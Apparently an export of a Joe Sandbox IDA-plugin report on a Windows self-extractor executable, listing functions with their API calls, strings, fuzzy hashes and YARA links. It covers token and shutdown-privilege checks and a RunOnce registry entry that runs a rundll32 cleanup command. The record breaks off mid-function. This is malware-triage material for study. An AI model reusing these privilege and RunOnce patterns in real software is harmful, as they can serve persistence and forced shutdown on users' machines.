
Strings

RegServer, xrefs: 003E5F66
", xrefs: 003E5D78
", xrefs: 003E612D
:, xrefs: 003E6118

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 4d8a5c123e619a78f1dd8d2c64480a7dbae24335865cafa5fcd3099d3af6d5da
Instruction ID: 58accc370bbe4b70010f4418d8508ac219bbeb8565e1d9f2ec7836c49d95fd53
Opcode Fuzzy Hash: 4d8a5c123e619a78f1dd8d2c64480a7dbae24335865cafa5fcd3099d3af6d5da
Instruction Fuzzy Hash: 69D17071A08EF49FDF378B3B8C493FA37699B65348F1503A9D486DA5D1D6708E828B40

Function 003E18A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003E18DD), ref: 003E181A
Part of subcall function 003E17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 003E182C
Part of subcall function 003E17EE: AllocateAndInitializeSid.ADVAPI32(003E18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003E18DD), ref: 003E1855
Part of subcall function 003E17EE: FreeSid.ADVAPI32(?,?,?,?,003E18DD), ref: 003E1883
Part of subcall function 003E17EE: FreeLibrary.KERNEL32(00000000,?,?,?,003E18DD), ref: 003E188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 003E18EB
OpenProcessToken.ADVAPI32(00000000), ref: 003E18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 003E190A
GetLastError.KERNEL32 ref: 003E1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 003E192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 003E1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 003E1964
EqualSid.ADVAPI32(00000004,?), ref: 003E197A
FreeSid.ADVAPI32(?), ref: 003E199C
LocalFree.KERNEL32(00000000), ref: 003E19A3
CloseHandle.KERNEL32(?), ref: 003E19AD

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: ce8ea5167f17d8420f9cb2235e8029f9db3657131150507326f0952c8430a4c1
Instruction ID: 564dfa0dce1f557878e0ade4ad8c0cb8109ea46e3dec301a519b885ddaa240b8
Opcode Fuzzy Hash: ce8ea5167f17d8420f9cb2235e8029f9db3657131150507326f0952c8430a4c1
Instruction Fuzzy Hash: B1314F71A00299AFDB229FA6DC88ABFBBBCFF04710F110629F545D6191D7309D05DB61

Function 003E1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 003E1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 003E1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 003E1FD3

Strings

SeShutdownPrivilege, xrefs: 003E1F28

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 35237957b774e024fc3975c2ea3239094e68991c622726173d644465776f58e4
Instruction ID: bee4d053e28c39f43ee1336e5b894f0c30ea9af819bf811d3110f82aec0feae2
Opcode Fuzzy Hash: 35237957b774e024fc3975c2ea3239094e68991c622726173d644465776f58e4
Instruction Fuzzy Hash: 0721D671B40295AADB325BA39C4AFBF77BCEB85B11F110319FA02DA1C1D7749C0296A1

Function 003E7155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 003E7182
GetCurrentProcessId.KERNEL32 ref: 003E7191
GetCurrentThreadId.KERNEL32 ref: 003E719A
GetTickCount.KERNEL32 ref: 003E71A3
QueryPerformanceCounter.KERNEL32(?), ref: 003E71B8

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: fcca34895efc590a2f126a15203552fc7d626c260094b1255e8664b7c013e74d
Instruction ID: fccdb995e60cd35e2682861002ab31a95581e17f325b89ac1d1561aaa9cd90ad
Opcode Fuzzy Hash: fcca34895efc590a2f126a15203552fc7d626c260094b1255e8664b7c013e74d
Instruction Fuzzy Hash: 72115171D05648EFCB21DFB8DA8869EB7F8FF48311F514A55E405EB290DB309E048B41

Function 003E6CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,003E6E26,003E1000), ref: 003E6CF7
UnhandledExceptionFilter.KERNEL32(?,?,003E6E26,003E1000), ref: 003E6D00
GetCurrentProcess.KERNEL32(C0000409,?,003E6E26,003E1000), ref: 003E6D0B
TerminateProcess.KERNEL32(00000000,?,003E6E26,003E1000), ref: 003E6D12

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 5bbf848b3d8e7a7aaf280cc9b2aa4188385ce994fb7b41314d922ae85ef32888
Instruction ID: 983f66e79ce0059eec1466fb001d39bc02d57f2e5ac55bfdb944be9ce7285f12
Opcode Fuzzy Hash: 5bbf848b3d8e7a7aaf280cc9b2aa4188385ce994fb7b41314d922ae85ef32888
Instruction Fuzzy Hash: 4FD01232004988BBDB222BF1EC4CA593F2CFB49313F454104F31E8A0A0CB326451CB53

Function 003E3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,003E8598,00000200), ref: 003E3271
GetDesktopWindow.USER32 ref: 003E33E2
SetWindowTextA.USER32(?,valid), ref: 003E33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 003E3410
GetDlgItem.USER32(?,00000836), ref: 003E3426
EnableWindow.USER32(00000000), ref: 003E342D
EndDialog.USER32(?,00000000), ref: 003E343F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E32E2, 003E32E7, 003E3331, 003E3344, 003E335B, 003E336A
valid, xrefs: 003E33F1

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$valid
API String ID: 2418873061-3649467865
Opcode ID: 94080f8a2d60acc89d539c2f63478550049cd07db278004abc23f337ce71cc0c
Instruction ID: 1cca8ba28be00bdd3a7c9801e941c5f15628f40b6f23b30491bc338b011fb9c8
Opcode Fuzzy Hash: 94080f8a2d60acc89d539c2f63478550049cd07db278004abc23f337ce71cc0c
Instruction Fuzzy Hash: 015126303402F0BAEB335B375C8CFBF2A5D9B46B54F514728F245AB5C1CAA49E019762

Function 003E34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 003E3535
EndDialog.USER32(?,?), ref: 003E3541
ResetEvent.KERNEL32 ref: 003E355F
SetEvent.KERNEL32(003E1140,00000000,00000020,00000004), ref: 003E3590
GetDesktopWindow.USER32 ref: 003E35C7
GetDlgItem.USER32(?,0000083B), ref: 003E35F1
SendMessageA.USER32(00000000), ref: 003E35F8
GetDlgItem.USER32(?,0000083B), ref: 003E3610
SendMessageA.USER32(00000000), ref: 003E3617
SetWindowTextA.USER32(?,valid), ref: 003E3623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,003E8798), ref: 003E3637
EndDialog.USER32(?,00000000), ref: 003E3671

Strings

valid, xrefs: 003E361D

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: valid
API String ID: 2406144884-2349282815
Opcode ID: 7bb3d1d24cdae74013f9de29e66444b73de563d3eba53e43c756fc33873431de
Instruction ID: ba89ae99a944bb1e7f2896e5b8eb2baa725d8ee550040bc414cf0975df1fbbe2
Opcode Fuzzy Hash: 7bb3d1d24cdae74013f9de29e66444b73de563d3eba53e43c756fc33873431de
Instruction Fuzzy Hash: 763191316402E0BBD7331F36ACCDE6A3A6DE786B01F114B29F6069E2E0CA719900DB51

Function 003E4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 003E4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 003E424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 003E4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 003E427A
GetTempPathA.KERNEL32(00000104,003E88C0,?,00000001), ref: 003E429F
CharPrevA.USER32(003E88C0,007D1181,?,00000001), ref: 003E42C2
CharPrevA.USER32(003E88C0,00000000,?,00000001), ref: 003E42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003E4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003E43A5

Strings

SHBrowseForFolder, xrefs: 003E4246
SHELL32.DLL, xrefs: 003E422F
SHGetPathFromIDList, xrefs: 003E4274

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 100f6a991e1a37f4057fccc3f25983a11e252f731ee0c2751efaf27c9e15c072
Instruction ID: 007546da3fa17b389a7d931d7da2b4b453afb0f3aa7f46a17e199cde0425e3c8
Opcode Fuzzy Hash: 100f6a991e1a37f4057fccc3f25983a11e252f731ee0c2751efaf27c9e15c072
Instruction Fuzzy Hash: 8341E778E002E4AFD7239F66DC84AAE7BB8EB49344F050759E9456B2D1CB758C01C762

Function 003E2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(BB96089D,00000000,00000000,00000000), ref: 003E27A8
CharNextA.USER32(?), ref: 003E27B5
CharNextA.USER32(00000000), ref: 003E27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2829
RegQueryValueExA.ADVAPI32(?,003E1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 003E28AA
GetSystemDirectoryA.KERNEL32(-00000005,00000104), ref: 003E28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 003E27E4

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: a6d1c2a688df843c75e64867cf0593c669ec26431c5b8fba0a066e6823f23fd9
Instruction ID: c0b4d1fe715807daf67f85a1980b5561480273fd32f4208f7138fd47d211b853
Opcode Fuzzy Hash: a6d1c2a688df843c75e64867cf0593c669ec26431c5b8fba0a066e6823f23fd9
Instruction Fuzzy Hash: 2741D871A001BCAFDB269B569C85AFF77BCEF15700F0041A9F549D6180CB705E858FA1

Function 003E2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 003E22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 003E22D8
memset.MSVCRT ref: 003E22F5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 003E2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?), ref: 003E236E
RegCloseKey.ADVAPI32(?), ref: 003E237A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E2321
wextract_cleanup0, xrefs: 003E227C, 003E22CD, 003E2363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003E2299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003E232D

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-1264114338
Opcode ID: 3a4bad1751a664c49e2546ae1778977c56b7105f6d8dc2548f0686e4f59d8643
Instruction ID: 2cc18f41027bad7e27c2f430c304ce2aafcb59d837a9224b36daa1c97a7a8612
Opcode Fuzzy Hash: 3a4bad1751a664c49e2546ae1778977c56b7105f6d8dc2548f0686e4f59d8643
Instruction Fuzzy Hash: 2031B871A002686BDB339B52DC85FDB777CEB15740F0402A5F50D9A0D1DA716F48CE50

Function 003E3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 003E313B
GetDesktopWindow.USER32 ref: 003E314B
SetDlgItemTextA.USER32(?,00000834), ref: 003E316A
SetWindowTextA.USER32(?,valid), ref: 003E3176
SetForegroundWindow.USER32(?), ref: 003E317D
GetDlgItem.USER32(?,00000834), ref: 003E3185
GetWindowLongA.USER32(00000000,000000FC), ref: 003E3190
SetWindowLongA.USER32(00000000,000000FC,003E30C0), ref: 003E31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 003E31CA

Strings

valid, xrefs: 003E3170

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: valid
API String ID: 3785188418-2349282815
Opcode ID: a542c95f7ffba4ab98a03c34b9db796308fff47ee6672f66548e764220037bdd
Instruction ID: 9467df76505e9ce7983c0b56263479ccef055476f3b76c7d80c1c4181a29ead5
Opcode Fuzzy Hash: a542c95f7ffba4ab98a03c34b9db796308fff47ee6672f66548e764220037bdd
Instruction Fuzzy Hash: 6711B4316046E1FBDB336F259C4CBAA3A6CEB4A721F110718F925AA1E0DB70A641D742

Function 003E6298 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 003E171E: _vsnprintf.MSVCRT ref: 003E1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,003E51CA,00000004,00000024,003E2F71,?,00000002,00000000), ref: 003E62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,003E51CA,00000004,00000024,003E2F71,?,00000002,00000000), ref: 003E62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003E51CA,00000004,00000024,003E2F71,?,00000002,00000000), ref: 003E631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 003E6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003E51CA,00000004,00000024,003E2F71,?,00000002,00000000), ref: 003E6357

Strings

@"v, xrefs: 003E62CD
UPDFILE%lu, xrefs: 003E62B3, 003E6329

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: @"v$UPDFILE%lu
API String ID: 2922116661-1900290011
Opcode ID: 78cdd72d295b180677fff801ecf26473311e442353ea2c10f8eadf38f20040d0
Instruction ID: df52757633c280b0df0c3b9b208c4049b07d8c71e1fb2e04ba42c04aad1cc8ee
Opcode Fuzzy Hash: 78cdd72d295b180677fff801ecf26473311e442353ea2c10f8eadf38f20040d0
Instruction Fuzzy Hash: 9D21F879A00269ABDB229F658C869FE7B7CEB44750F110319F902A72D1DB359D018BE1

Function 003E17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003E18DD), ref: 003E181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 003E182C
AllocateAndInitializeSid.ADVAPI32(003E18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003E18DD), ref: 003E1855
FreeSid.ADVAPI32(?,?,?,?,003E18DD), ref: 003E1883
FreeLibrary.KERNEL32(00000000,?,?,?,003E18DD), ref: 003E188A

Strings

advapi32.dll, xrefs: 003E1810
CheckTokenMembership, xrefs: 003E1826

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: e2693d9d0158dd9eebf2895c084e6fa7a9f593a9ddfc0426f47e499fb6c7dd29
Instruction ID: e253aef19a74c9750e99c0769f4d2be5487a356d332931a1169288dc3cf2e80a
Opcode Fuzzy Hash: e2693d9d0158dd9eebf2895c084e6fa7a9f593a9ddfc0426f47e499fb6c7dd29
Instruction Fuzzy Hash: 55119331E00259ABDB129FA5DC89ABEBB7CEF44711F110669FA06E62D0DA709D04CB91

Function 003E2AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 003E2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 003E2AF2
CharNextA.USER32(?), ref: 003E2B12
CharUpperA.USER32 ref: 003E2B1E
CharPrevA.USER32(?,?), ref: 003E2B55
CharNextA.USER32(?), ref: 003E2BD4

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 941f9629a7d8c0a67e650aaf853f1764f0b4d9bb75dec806e0724a0019a8aafd
Instruction ID: 7b5237d4b7c733a716d73f8fe06cb110af466c63e5976529f452e4d4979f41bd
Opcode Fuzzy Hash: 941f9629a7d8c0a67e650aaf853f1764f0b4d9bb75dec806e0724a0019a8aafd
Instruction Fuzzy Hash: AD4137345082E69EDF279F308C44AFE7B6D9F56300F05429AE8C28B2C2DB745E86CB50

Function 003E28E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 003E2A6F

Part of subcall function 003E2773: CharUpperA.USER32(BB96089D,00000000,00000000,00000000), ref: 003E27A8
Part of subcall function 003E2773: CharNextA.USER32(?), ref: 003E27B5
Part of subcall function 003E2773: CharNextA.USER32(00000000), ref: 003E27BC
Part of subcall function 003E2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2829
Part of subcall function 003E2773: RegQueryValueExA.ADVAPI32(?,003E1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2852
Part of subcall function 003E2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E2870
Part of subcall function 003E2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003E28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,003E3938,?,?,?,?,-00000005), ref: 003E2958
GlobalLock.KERNEL32(00000000), ref: 003E2969
GlobalUnlock.KERNEL32(00000000), ref: 003E2A21
GlobalUnlock.KERNEL32(00000000), ref: 003E2A81

Strings

89>, xrefs: 003E293D, 003E297E, 003E2940

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 89>
API String ID: 3949799724-450690347
Opcode ID: 3edc8f79b29d975ccb52e200ba7b3be425f81bc8b1f5a5ba344e405f9170ae5a
